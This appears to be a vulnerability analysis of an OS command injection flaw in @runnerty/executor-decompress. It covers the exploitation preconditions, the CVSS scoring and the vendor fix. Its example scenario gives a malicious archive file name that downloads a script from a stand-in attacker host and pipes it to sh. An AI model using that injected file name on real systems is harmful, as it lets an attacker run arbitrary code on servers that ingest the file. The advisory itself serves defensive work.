@runnerty/executor-decompress CVE-2026-110641

Exploitation requires the attacker to control the file NAME of an archive that the decompress executor processes - specifically a name containing $() command substitution or unquoted shell metacharacters passed to compress_file, which reaches shelljs exec() via the vulnerable render() template. The deployment must be running @runnerty/executor-decompress at or below 3.1.1 and must route attacker-nameable files (e.g. from a watched/ingested directory or upload workflow) into the decompress task. Limiting factors: the attacker needs the ability to name files in the watched directory (reflected as PR:L), no user interaction is needed, and impact is bounded to the Runnerty process privilege level; if files only arrive via trusted local processes the network attack vector does not realistically apply.

This is a genuine, actionable OS command injection (CWE-78) rather than an inflated high score, but its practicality hinges on one access precondition. The vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) rates it 8.7 (High) with full confidentiality, integrity and availability loss on the vulnerable system and no scope change. The source-code evidence strongly confirms the flaw: the vulnerable index.js builds shell command strings via a dynamic Function-based render() and runs them through shelljs exec(), so a filename containing $() or shell metacharacters executes with Runnerty process privileges; the fix (PR #7) replaces string templates with execFile() and explicit ARGS arrays, eliminating the shell. The PR:L rating is the key limiter - the attacker must be able to control the NAME of a file placed into a directory the decompress executor processes, so this is not a drive-by remote exploit against an exposed service. No EPSS score, KEV listing, or public POC is present in the input, so there is no public exploit identified at time of analysis and no evidence of active exploitation; the discovery by VulnCheck and the merged patch indicate a credible, well-characterized issue. Note the AV:N rating depends on how files reach the watched directory (e.g. a network upload path); if files only arrive via local processes this is effectively local - verify the deployment's ingestion path.

An application using @runnerty/executor-decompress (≤3.1.1) watches a directory and auto-decompresses uploaded archives. An attacker who can influence the uploaded file's name submits an archive named like x$(curl attacker/sh|sh).zip; when the executor builds and runs the shell command, the substitution executes arbitrary commands with Runnerty's process privileges. No public exploit code is identified in the provided data, but the flaw is confirmed by the vendor patch diff.